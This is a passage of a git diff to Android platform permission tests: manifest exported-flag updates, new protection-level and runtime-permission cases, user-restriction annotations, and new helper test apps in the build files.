                 <action android:name="android.intent.action.UPDATE_CONVERSATION_ACTIONS" />
@@ -5387,6 +5856,7 @@
         </receiver>
 
         <receiver android:name="com.android.server.updates.CarrierIdInstallReceiver"
+                  android:exported="true"
                   android:permission="android.permission.UPDATE_CONFIG">
             <intent-filter>
                 <action android:name="android.os.action.UPDATE_CARRIER_ID_DB" />
@@ -5395,6 +5865,7 @@
         </receiver>
 
         <receiver android:name="com.android.server.updates.EmergencyNumberDbInstallReceiver"
+                  android:exported="true"
                   android:permission="android.permission.UPDATE_CONFIG">
             <intent-filter>
                 <action android:name="android.os.action.UPDATE_EMERGENCY_NUMBER_DB" />
@@ -5403,6 +5874,7 @@
         </receiver>
 
         <receiver android:name="com.android.server.MasterClearReceiver"
+            android:exported="true"
             android:permission="android.permission.MASTER_CLEAR">
             <intent-filter
                     android:priority="100" >
@@ -5419,6 +5891,7 @@
         </receiver>
 
         <receiver android:name="com.android.server.WallpaperUpdateReceiver"
+                  android:exported="true"
                   android:permission="android.permission.RECEIVE_DEVICE_CUSTOMIZATION_READY">
             <intent-filter>
                 <action android:name="android.intent.action.DEVICE_CUSTOMIZATION_READY"/>
@@ -5493,6 +5966,14 @@
                  android:permission="android.permission.BIND_JOB_SERVICE" >
         </service>
 
+        <service android:name="com.android.server.people.data.DataMaintenanceService"
+                 android:permission="android.permission.BIND_JOB_SERVICE" >
+        </service>
+
+        <service android:name="com.android.server.profcollect.ProfcollectForwardingService$ProfcollectBGJobService"
+                 android:permission="android.permission.BIND_JOB_SERVICE" >
+        </service>
+
         <service
                 android:name="com.android.server.autofill.AutofillCompatAccessibilityService"
                 android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
@@ -5511,12 +5992,34 @@
                  android:permission="android.permission.BIND_JOB_SERVICE">
         </service>
 
-        <service android:name="com.android.server.pm.PackageManagerShellCommandDataLoader">
+        <service android:name="com.android.server.pm.PackageManagerShellCommandDataLoader"
+            android:exported="false">
             <intent-filter>
-                <action android:name="android.intent.action.LOAD_DATA" />
+                <action android:name="android.intent.action.LOAD_DATA"/>
             </intent-filter>
         </service>
 
+        <!-- AOSP configures a default secondary LocationTimeZoneProvider that uses an on-device
+             data set from the com.android.geotz APEX. -->
+        <service android:name="com.android.timezone.location.provider.OfflineLocationTimeZoneProviderService"
+                 android:enabled="@bool/config_enableSecondaryLocationTimeZoneProvider"
+                 android:permission="android.permission.BIND_TIME_ZONE_PROVIDER_SERVICE"
+                 android:exported="false">
+            <intent-filter>
+                <action android:name="android.service.timezone.SecondaryLocationTimeZoneProviderService" />
+            </intent-filter>
+            <meta-data android:name="serviceVersion" android:value="1" />
+            <meta-data android:name="serviceIsMultiuser" android:value="true" />
+        </service>
+
+        <provider
+            android:name="com.android.server.textclassifier.IconsContentProvider"
+            android:authorities="com.android.textclassifier.icons"
+            android:singleUser="true"
+            android:enabled="true"
+            android:exported="true">
+        </provider>
+
     </application>
 
 </manifest>
diff --git a/tests/tests/permission2/res/raw/automotive_android_manifest.xml b/tests/tests/permission2/res/raw/automotive_android_manifest.xml
index dd37ac9..41b34e9 100644
--- a/tests/tests/permission2/res/raw/automotive_android_manifest.xml
+++ b/tests/tests/permission2/res/raw/automotive_android_manifest.xml
@@ -350,135 +350,125 @@
          android:label="@string/car_permission_label_set_car_vendor_category_10"
          android:description="@string/car_permission_desc_set_car_vendor_category_10"/>
 
-    <permission
-        android:name="android.car.permission.CAR_CONTROL_AUDIO_VOLUME"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_audio_volume"
-        android:description="@string/car_permission_desc_audio_volume" />
+    <permission android:name="android.car.permission.CAR_CONTROL_AUDIO_VOLUME"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_audio_volume"
+         android:description="@string/car_permission_desc_audio_volume"/>
 
-    <permission
-        android:name="android.car.permission.CAR_CONTROL_AUDIO_SETTINGS"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_audio_settings"
-        android:description="@string/car_permission_desc_audio_settings" />
+    <permission android:name="android.car.permission.CAR_CONTROL_AUDIO_SETTINGS"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_audio_settings"
+         android:description="@string/car_permission_desc_audio_settings"/>
 
-    <permission
-        android:name="android.car.permission.RECEIVE_CAR_AUDIO_DUCKING_EVENTS"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_receive_ducking"
-        android:description="@string/car_permission_desc_receive_ducking" />
+    <permission android:name="android.car.permission.RECEIVE_CAR_AUDIO_DUCKING_EVENTS"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_receive_ducking"
+         android:description="@string/car_permission_desc_receive_ducking"/>
 
-    <permission
-        android:name="android.car.permission.BIND_INSTRUMENT_CLUSTER_RENDERER_SERVICE"
-        android:protectionLevel="signature"
-        android:label="@string/car_permission_label_bind_instrument_cluster_rendering"
-        android:description="@string/car_permission_desc_bind_instrument_cluster_rendering"/>
+    <permission android:name="android.car.permission.BIND_INSTRUMENT_CLUSTER_RENDERER_SERVICE"
+         android:protectionLevel="signature"
+         android:label="@string/car_permission_label_bind_instrument_cluster_rendering"
+         android:description="@string/car_permission_desc_bind_instrument_cluster_rendering"/>
 
-    <permission
-        android:name="android.car.permission.BIND_CAR_INPUT_SERVICE"
-        android:protectionLevel="signature"
-        android:label="@string/car_permission_label_bind_input_service"
-        android:description="@string/car_permission_desc_bind_input_service"/>
+    <permission android:name="android.car.permission.BIND_CAR_INPUT_SERVICE"
+         android:protectionLevel="signature"
+         android:label="@string/car_permission_label_bind_input_service"
+         android:description="@string/car_permission_desc_bind_input_service"/>
 
-    <permission
-        android:name="android.car.permission.CAR_DISPLAY_IN_CLUSTER"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_car_display_in_cluster"
-        android:description="@string/car_permission_desc_car_display_in_cluster" />
+    <permission android:name="android.car.permission.CAR_DISPLAY_IN_CLUSTER"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_car_display_in_cluster"
+         android:description="@string/car_permission_desc_car_display_in_cluster"/>
 
-    <permission
-        android:name="android.car.permission.CAR_INSTRUMENT_CLUSTER_CONTROL"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_car_cluster_control"
-        android:description="@string/car_permission_desc_car_cluster_control" />
+    <permission android:name="android.car.permission.CAR_INSTRUMENT_CLUSTER_CONTROL"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_car_cluster_control"
+         android:description="@string/car_permission_desc_car_cluster_control"/>
 
-    <permission
-        android:name="android.car.permission.CAR_HANDLE_USB_AOAP_DEVICE"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_car_handle_usb_aoap_device"
-        android:description="@string/car_permission_desc_car_handle_usb_aoap_device" />
+    <permission android:name="android.car.permission.CAR_HANDLE_USB_AOAP_DEVICE"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_car_handle_usb_aoap_device"
+         android:description="@string/car_permission_desc_car_handle_usb_aoap_device"/>
 
-    <permission
-        android:name="android.car.permission.CAR_UX_RESTRICTIONS_CONFIGURATION"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_car_ux_restrictions_configuration"
-        android:description="@string/car_permission_desc_car_ux_restrictions_configuration" />
+    <permission android:name="android.car.permission.CAR_UX_RESTRICTIONS_CONFIGURATION"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_car_ux_restrictions_configuration"
+         android:description="@string/car_permission_desc_car_ux_restrictions_configuration"/>
 
-    <permission
-        android:name="android.car.permission.STORAGE_MONITORING"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_storage_monitoring"
-        android:description="@string/car_permission_desc_storage_monitoring" />
+    <permission android:name="android.car.permission.STORAGE_MONITORING"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_storage_monitoring"
+         android:description="@string/car_permission_desc_storage_monitoring"/>
 
-    <permission
-        android:name="android.car.permission.CAR_ENROLL_TRUST"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_enroll_trust"
-        android:description="@string/car_permission_desc_enroll_trust" />
+    <permission android:name="android.car.permission.CAR_ENROLL_TRUST"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_enroll_trust"
+         android:description="@string/car_permission_desc_enroll_trust"/>
 
-    <permission
-        android:name="android.car.permission.CAR_TEST_SERVICE"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_car_test_service"
-        android:description="@string/car_permission_desc_car_test_service" />
+    <permission android:name="android.car.permission.CAR_TEST_SERVICE"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_car_test_service"
+         android:description="@string/car_permission_desc_car_test_service"/>
 
-    <uses-permission android:name="android.permission.CALL_PHONE" />
-    <uses-permission android:name="android.permission.DEVICE_POWER" />
-    <uses-permission android:name="android.permission.GRANT_RUNTIME_PERMISSIONS" />
-    <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS_FULL" />
-    <uses-permission android:name="android.permission.MANAGE_ACTIVITY_STACKS" />
-    <uses-permission android:name="android.permission.MODIFY_AUDIO_ROUTING" />
-    <uses-permission android:name="android.permission.MODIFY_DAY_NIGHT_MODE" />
-    <uses-permission android:name="android.permission.MODIFY_PHONE_STATE" />
-    <uses-permission android:name="android.permission.READ_CALL_LOG" />
-    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
-    <uses-permission android:name="android.permission.REAL_GET_TASKS" />
-    <uses-permission android:name="android.permission.REBOOT" />
-    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
-    <uses-permission android:name="android.permission.REMOVE_TASKS" />
-    <uses-permission android:name="android.permission.WRITE_SETTINGS" />
-    <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />
-    <uses-permission android:name="android.permission.BLUETOOTH" />
-    <uses-permission android:name="android.permission.MANAGE_USERS" />
-    <uses-permission android:name="android.permission.LOCATION_HARDWARE" />
-    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
-    <uses-permission android:name="android.permission.PROVIDE_TRUST_AGENT" />
+    <uses-permission android:name="android.permission.CALL_PHONE"/>
+    <uses-permission android:name="android.permission.DEVICE_POWER"/>
+    <uses-permission android:name="android.permission.GRANT_RUNTIME_PERMISSIONS"/>
+    <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS_FULL"/>
+    <uses-permission android:name="android.permission.MANAGE_ACTIVITY_TASKS"/>
+    <uses-permission android:name="android.permission.MODIFY_AUDIO_ROUTING"/>
+    <uses-permission android:name="android.permission.MODIFY_DAY_NIGHT_MODE"/>
+    <uses-permission android:name="android.permission.MODIFY_PHONE_STATE"/>
+    <uses-permission android:name="android.permission.READ_CALL_LOG"/>
+    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
+    <uses-permission android:name="android.permission.REAL_GET_TASKS"/>
+    <uses-permission android:name="android.permission.REBOOT"/>
+    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
+    <uses-permission android:name="android.permission.REMOVE_TASKS"/>
+    <uses-permission android:name="android.permission.WRITE_SETTINGS"/>
+    <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS"/>
+    <uses-permission android:name="android.permission.BLUETOOTH"/>
+    <uses-permission android:name="android.permission.MANAGE_USERS"/>
+    <uses-permission android:name="android.permission.LOCATION_HARDWARE"/>
+    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
+    <uses-permission android:name="android.permission.PROVIDE_TRUST_AGENT"/>
 
     <application android:label="@string/app_title"
-                 android:directBootAware="true"
-                 android:allowBackup="false"
-                 android:persistent="true">
+         android:directBootAware="true"
+         android:allowBackup="false"
+         android:persistent="true">
 
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
         <service android:name=".CarService"
-                android:singleUser="true">
+             android:singleUser="true"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.car.ICar" />
+                <action android:name="android.car.ICar"/>
             </intent-filter>
         </service>
-        <service android:name=".PerUserCarService" android:exported="false" />
+        <service android:name=".PerUserCarService"
+             android:exported="false"/>
 
-        <service
-            android:name="com.android.car.trust.CarBleTrustAgent"
-            android:permission="android.permission.BIND_TRUST_AGENT"
-            android:singleUser="true">
+        <service android:name="com.android.car.trust.CarBleTrustAgent"
+             android:permission="android.permission.BIND_TRUST_AGENT"
+             android:singleUser="true"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.service.trust.TrustAgentService" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="android.service.trust.TrustAgentService"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
             <!-- Warning: the meta data must be included if the service is direct boot aware.
-                If not included, the device will crash before boot completes. Rendering the
-                device unusable. -->
+                                If not included, the device will crash before boot completes. Rendering the
+                                device unusable. -->
             <meta-data android:name="android.service.trust.trustagent"
-                       android:resource="@xml/car_trust_agent"/>
+                 android:resource="@xml/car_trust_agent"/>
         </service>
         <activity android:name="com.android.car.pm.ActivityBlockingActivity"
-                  android:excludeFromRecents="true"
-                  android:theme="@android:style/Theme.Translucent.NoTitleBar"
-                  android:exported="false"
-                  android:launchMode="singleTask">
+             android:excludeFromRecents="true"
+             android:theme="@android:style/Theme.Translucent.NoTitleBar"
+             android:exported="false"
+             android:launchMode="singleTask">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
+                <action android:name="android.intent.action.MAIN"/>
             </intent-filter>
         </activity>
     </application>
diff --git a/tests/tests/permission2/src/android/permission2/cts/NoReceiveSmsPermissionTest.java b/tests/tests/permission2/src/android/permission2/cts/NoReceiveSmsPermissionTest.java
index 4171c1b..7375b1e 100644
--- a/tests/tests/permission2/src/android/permission2/cts/NoReceiveSmsPermissionTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/NoReceiveSmsPermissionTest.java
@@ -24,6 +24,7 @@
 import android.content.IntentFilter;
 import android.content.pm.PackageManager;
 import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.SystemUserOnly;
 import android.telephony.SmsManager;
 import android.telephony.TelephonyManager;
 import android.test.AndroidTestCase;
@@ -35,6 +36,7 @@
  * Uses {@link android.telephony.SmsManager}.
  */
 @AppModeFull(reason = "Instant apps cannot get the SEND_SMS permission")
+@SystemUserOnly(reason = "Secondary users have the DISALLOW_SMS user restriction")
 public class NoReceiveSmsPermissionTest extends AndroidTestCase {
 
     // time to wait for sms to get delivered - currently 2 minutes
@@ -109,7 +111,7 @@
         getContext().registerReceiver(receiver, filter);
 
         PendingIntent receivedIntent = PendingIntent.getBroadcast(getContext(), 0,
-                new Intent(APP_SPECIFIC_SMS_RECEIVED_ACTION), PendingIntent.FLAG_ONE_SHOT);
+                new Intent(APP_SPECIFIC_SMS_RECEIVED_ACTION), PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
         String token = SmsManager.getDefault().createAppSpecificSmsToken(receivedIntent);
         String message = "test message, token=" + token;
@@ -130,9 +132,9 @@
 
     private void sendSMSToSelf(String message) {
         PendingIntent sentIntent = PendingIntent.getBroadcast(getContext(), 0,
-                new Intent(MESSAGE_SENT_ACTION), PendingIntent.FLAG_ONE_SHOT);
+                new Intent(MESSAGE_SENT_ACTION), PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
         PendingIntent deliveryIntent = PendingIntent.getBroadcast(getContext(), 0,
-                new Intent(MESSAGE_STATUS_RECEIVED_ACTION), PendingIntent.FLAG_ONE_SHOT);
+                new Intent(MESSAGE_STATUS_RECEIVED_ACTION), PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
         TelephonyManager telephony = (TelephonyManager)
                  getContext().getSystemService(Context.TELEPHONY_SERVICE);
diff --git a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
index bb48193..8f62859 100644
--- a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
@@ -28,7 +28,6 @@
 import android.content.pm.PackageManager.NameNotFoundException;
 import android.content.pm.PermissionGroupInfo;
 import android.content.pm.PermissionInfo;
-import android.os.storage.StorageManager;
 import android.platform.test.annotations.AppModeFull;
 import android.util.ArrayMap;
 import android.util.ArraySet;
@@ -49,7 +48,6 @@
 import java.text.SimpleDateFormat;
 import java.util.ArrayList;
 import java.util.Date;
-import java.util.Iterator;
 import java.util.List;
 import java.util.Map;
 import java.util.Objects;
@@ -267,20 +265,6 @@
             }
         }
 
-        // STOPSHIP: remove this once isolated storage is always enabled
-        if (!StorageManager.hasIsolatedStorage()) {
-            Iterator<ExpectedPermissionInfo> it = permissions.iterator();
-            while (it.hasNext()) {
-                final ExpectedPermissionInfo pi = it.next();
-                switch (pi.name) {
-                    case android.Manifest.permission.ACCESS_MEDIA_LOCATION:
-                    case android.Manifest.permission.WRITE_OBB:
-                        it.remove();
-                        break;
-                }
-            }
-        }
-
         return permissions;
     }
 
@@ -331,6 +315,9 @@
                 case "softRestricted": {
                     protectionFlags |= PermissionInfo.FLAG_SOFT_RESTRICTED;
                 } break;
+                case "installerExemptIgnored": {
+                    protectionFlags |= PermissionInfo.FLAG_INSTALLER_EXEMPT_IGNORED;
+                } break;
             }
         }
         return protectionFlags;
@@ -354,6 +341,9 @@
                     protectionLevel |= PermissionInfo.PROTECTION_SIGNATURE;
                     protectionLevel |= PermissionInfo.PROTECTION_FLAG_SYSTEM;
                 } break;
+                case "internal": {
+                    protectionLevel |= PermissionInfo.PROTECTION_INTERNAL;
+                } break;
                 case "system": {
                     protectionLevel |= PermissionInfo.PROTECTION_FLAG_SYSTEM;
                 } break;
@@ -417,6 +407,12 @@
                 case "retailDemo": {
                     protectionLevel |= PermissionInfo.PROTECTION_FLAG_RETAIL_DEMO;
                 } break;
+                case "recents": {
+                    protectionLevel |= PermissionInfo.PROTECTION_FLAG_RECENTS;
+                } break;
+                case "role": {
+                    protectionLevel |= PermissionInfo.PROTECTION_FLAG_ROLE;
+                } break;
             }
         }
         return protectionLevel;
diff --git a/tests/tests/permission2/src/android/permission2/cts/RestrictedPermissionsTest.java b/tests/tests/permission2/src/android/permission2/cts/RestrictedPermissionsTest.java
index 11e6121..2e73541 100644
--- a/tests/tests/permission2/src/android/permission2/cts/RestrictedPermissionsTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/RestrictedPermissionsTest.java
@@ -46,6 +46,7 @@
 import android.content.pm.PackageManager;
 import android.content.pm.PermissionInfo;
 import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.SystemUserOnly;
 import android.util.ArraySet;
 
 import androidx.annotation.NonNull;
@@ -174,6 +175,7 @@
 
     @Test
     @AppModeFull
+    @SystemUserOnly(reason = "Secondary users have the DISALLOW_SMS user restriction")
     public void testDefaultAllRestrictedPermissionsWhitelistedAtInstall22() throws Exception {
         // Install with no changes to whitelisted permissions
         runShellCommand("pm install -g --force-queryable " + APK_USES_SMS_CALL_LOG_22);
@@ -184,6 +186,7 @@
 
     @Test
     @AppModeFull
+    @SystemUserOnly(reason = "Secondary users have the DISALLOW_OUTGOING_CALLS user restriction")
     public void testSomeRestrictedPermissionsWhitelistedAtInstall22() throws Exception {
         // Whitelist only these permissions.
         final Set<String> whitelistedPermissions = new ArraySet<>(2);
@@ -242,6 +245,7 @@
 
     @Test
     @AppModeFull
+    @SystemUserOnly(reason = "Secondary users have the DISALLOW_OUTGOING_CALLS user restriction")
     public void testSomeRestrictedPermissionsGrantedAtInstall() throws Exception {
         // Grant only these permissions.
         final Set<String> grantedPermissions = new ArraySet<>(1);
@@ -276,6 +280,7 @@
 
     @Test
     @AppModeFull
+    @SystemUserOnly(reason = "Secondary users have the DISALLOW_SMS user restriction")
     public void testAllRestrictedPermissionsGrantedAtInstall() throws Exception {
         // Install with whitelisted permissions attempting to grant.
         installRestrictedPermissionUserApp(null /*whitelistedPermissions*/,
@@ -352,6 +357,7 @@
 
     @Test
     @AppModeFull
+    @SystemUserOnly(reason = "Secondary users have the DISALLOW_SMS user restriction")
     public void shareUidBetweenRestrictedAndNotRestrictedApp() throws Exception {
         runShellCommand(
                 "pm install -g --force-queryable --restrict-permissions "
@@ -408,7 +414,8 @@
 
             final Intent intent = new Intent(action);
             final IntentSender intentSender = PendingIntent.getBroadcast(getContext(),
-                    1, intent, PendingIntent.FLAG_ONE_SHOT).getIntentSender();
+                    1, intent, PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_IMMUTABLE)
+                    .getIntentSender();
 
             // Commit as shell to avoid confirm UI
             runWithShellPermissionIdentity(() -> {
diff --git a/tests/tests/permission2/src/android/permission2/cts/RuntimePermissionProperties.kt b/tests/tests/permission2/src/android/permission2/cts/RuntimePermissionProperties.kt
index c54a96c..d016e50 100644
--- a/tests/tests/permission2/src/android/permission2/cts/RuntimePermissionProperties.kt
+++ b/tests/tests/permission2/src/android/permission2/cts/RuntimePermissionProperties.kt
@@ -22,6 +22,7 @@
 import android.Manifest.permission.ACTIVITY_RECOGNITION
 import android.Manifest.permission.ADD_VOICEMAIL
 import android.Manifest.permission.ANSWER_PHONE_CALLS
+import android.Manifest.permission.BACKGROUND_CAMERA
 import android.Manifest.permission.BODY_SENSORS
 import android.Manifest.permission.CALL_PHONE
 import android.Manifest.permission.CAMERA
@@ -40,6 +41,7 @@
 import android.Manifest.permission.RECEIVE_SMS
 import android.Manifest.permission.RECEIVE_WAP_PUSH
 import android.Manifest.permission.RECORD_AUDIO
+import android.Manifest.permission.RECORD_BACKGROUND_AUDIO
 import android.Manifest.permission.SEND_SMS
 import android.Manifest.permission.USE_SIP
 import android.Manifest.permission.WRITE_CALENDAR
@@ -142,6 +144,9 @@
         // Add runtime permission added in Q which were _not_ split from a previously existing
         // runtime permission
         expectedPerms.add(ACTIVITY_RECOGNITION)
+        // Added in S
+        expectedPerms.add(RECORD_BACKGROUND_AUDIO)
+        expectedPerms.add(BACKGROUND_CAMERA)
 
         assertThat(expectedPerms).containsExactlyElementsIn(platformRuntimePerms.map { it.name })
     }
diff --git a/tests/tests/permission3/Android.bp b/tests/tests/permission3/Android.bp
index c973d82..df5ad06 100644
--- a/tests/tests/permission3/Android.bp
+++ b/tests/tests/permission3/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsPermission3TestCases",
     sdk_version: "test_current",
@@ -34,13 +30,16 @@
         ":CtsPermissionPolicyApp25",
         ":CtsUsePermissionApp22",
         ":CtsUsePermissionApp22CalendarOnly",
+        ":CtsUsePermissionApp22None",
         ":CtsUsePermissionApp23",
         ":CtsUsePermissionApp25",
         ":CtsUsePermissionApp26",
         ":CtsUsePermissionApp28",
         ":CtsUsePermissionApp29",
+        ":CtsUsePermissionApp30",
+        ":CtsUsePermissionApp30WithBackground",
         ":CtsUsePermissionAppLatest",
-        ":CtsUsePermissionAppLatestWithBackground",
+        ":CtsUsePermissionAppLatestNone",
         ":CtsUsePermissionAppWithOverlay",
     ],
     test_suites: [
diff --git a/tests/tests/permission3/AndroidTest.xml b/tests/tests/permission3/AndroidTest.xml
index cdf7308..fb554ad 100644
--- a/tests/tests/permission3/AndroidTest.xml
+++ b/tests/tests/permission3/AndroidTest.xml
@@ -36,13 +36,16 @@
         <option name="push" value="CtsPermissionPolicyApp25.apk->/data/local/tmp/cts/permission3/CtsPermissionPolicyApp25.apk" />
         <option name="push" value="CtsUsePermissionApp22.apk->/data/local/tmp/cts/permission3/CtsUsePermissionApp22.apk" />
         <option name="push" value="CtsUsePermissionApp22CalendarOnly.apk->/data/local/tmp/cts/permission3/CtsUsePermissionApp22CalendarOnly.apk" />
+        <option name="push" value="CtsUsePermissionApp22None.apk->/data/local/tmp/cts/permission3/CtsUsePermissionApp22None.apk" />
         <option name="push" value="CtsUsePermissionApp23.apk->/data/local/tmp/cts/permission3/CtsUsePermissionApp23.apk" />
         <option name="push" value="CtsUsePermissionApp25.apk->/data/local/tmp/cts/permission3/CtsUsePermissionApp25.apk" />
         <option name="push" value="CtsUsePermissionApp26.apk->/data/local/tmp/cts/permission3/CtsUsePermissionApp26.apk" />
         <option name="push" value="CtsUsePermissionApp28.apk->/data/local/tmp/cts/permission3/CtsUsePermissionApp28.apk" />
         <option name="push" value="CtsUsePermissionApp29.apk->/data/local/tmp/cts/permission3/CtsUsePermissionApp29.apk" />
+        <option name="push" value="CtsUsePermissionApp30.apk->/data/local/tmp/cts/permission3/CtsUsePermissionApp30.apk" />
+        <option name="push" value="CtsUsePermissionApp30WithBackground.apk->/data/local/tmp/cts/permission3/CtsUsePermissionApp30WithBackground.apk" />
         <option name="push" value="CtsUsePermissionAppLatest.apk->/data/local/tmp/cts/permission3/CtsUsePermissionAppLatest.apk" />
-        <option name="push" value="CtsUsePermissionAppLatestWithBackground.apk->/data/local/tmp/cts/permission3/CtsUsePermissionAppLatestWithBackground.apk" />
+        <option name="push" value="CtsUsePermissionAppLatestNone.apk->/data/local/tmp/cts/permission3/CtsUsePermissionAppLatestNone.apk" />
         <option name="push" value="CtsUsePermissionAppWithOverlay.apk->/data/local/tmp/cts/permission3/CtsUsePermissionAppWithOverlay.apk" />
     </target_preparer>
 
diff --git a/tests/tests/permission3/PermissionPolicyApp25/Android.bp b/tests/tests/permission3/PermissionPolicyApp25/Android.bp
index d3f8895..50117af 100644
--- a/tests/tests/permission3/PermissionPolicyApp25/Android.bp
+++ b/tests/tests/permission3/PermissionPolicyApp25/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsPermissionPolicyApp25",
     srcs: [
diff --git a/tests/tests/permission3/PermissionPolicyApp25/src/android/permission3/cts/permissionpolicy/TestProtectionFlagsActivity.kt b/tests/tests/permission3/PermissionPolicyApp25/src/android/permission3/cts/permissionpolicy/TestProtectionFlagsActivity.kt
index 9daf9b3..9536803 100644
--- a/tests/tests/permission3/PermissionPolicyApp25/src/android/permission3/cts/permissionpolicy/TestProtectionFlagsActivity.kt
+++ b/tests/tests/permission3/PermissionPolicyApp25/src/android/permission3/cts/permissionpolicy/TestProtectionFlagsActivity.kt
@@ -42,10 +42,11 @@
         val errorMessageBuilder = StringBuilder()
         for (declaredPermissionInfo in packageInfo.permissions) {
             val permissionInfo = packageManager.getPermissionInfo(declaredPermissionInfo.name, 0)
-            val protection = permissionInfo.protectionLevel and (
+            val protection = permissionInfo.protection and (
                 PermissionInfo.PROTECTION_NORMAL
                     or PermissionInfo.PROTECTION_DANGEROUS
                     or PermissionInfo.PROTECTION_SIGNATURE
+                    or PermissionInfo.PROTECTION_INTERNAL
                 )
             val protectionFlags = permissionInfo.protectionLevel and protection.inv()
             if ((protection == PermissionInfo.PROTECTION_NORMAL ||
@@ -68,6 +69,7 @@
             PermissionInfo.PROTECTION_NORMAL -> "normal"
             PermissionInfo.PROTECTION_DANGEROUS -> "dangerous"
             PermissionInfo.PROTECTION_SIGNATURE -> "signature"
+            PermissionInfo.PROTECTION_INTERNAL -> "internal"
             else -> Integer.toHexString(protection)
         }
 
@@ -95,6 +97,7 @@
         appendProtectionFlag(PermissionInfo.PROTECTION_FLAG_SETUP, "setup")
         appendProtectionFlag(PermissionInfo.PROTECTION_FLAG_INSTANT, "instant")
         appendProtectionFlag(PermissionInfo.PROTECTION_FLAG_RUNTIME_ONLY, "runtimeOnly")
+        appendProtectionFlag(PermissionInfo.PROTECTION_FLAG_ROLE, "role")
         if (unknownProtectionFlags != 0) {
             appendProtectionFlag(
                 unknownProtectionFlags, Integer.toHexString(unknownProtectionFlags)
diff --git a/tests/tests/permission3/UsePermissionApp22/Android.bp b/tests/tests/permission3/UsePermissionApp22/Android.bp
index 22d8f6d..024e275 100644
--- a/tests/tests/permission3/UsePermissionApp22/Android.bp
+++ b/tests/tests/permission3/UsePermissionApp22/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsUsePermissionApp22",
     srcs: [
diff --git a/tests/tests/permission3/UsePermissionApp22CalendarOnly/Android.bp b/tests/tests/permission3/UsePermissionApp22CalendarOnly/Android.bp
index 0f6ce9e..b16d755 100644
--- a/tests/tests/permission3/UsePermissionApp22CalendarOnly/Android.bp
+++ b/tests/tests/permission3/UsePermissionApp22CalendarOnly/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsUsePermissionApp22CalendarOnly",
     srcs: [
diff --git a/tests/tests/permission3/UsePermissionApp22None/Android.bp b/tests/tests/permission3/UsePermissionApp22None/Android.bp
new file mode 100644
index 0000000..9437fd1
--- /dev/null
+++ b/tests/tests/permission3/UsePermissionApp22None/Android.bp
@@ -0,0 +1,27 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsUsePermissionApp22None",
+    srcs: [
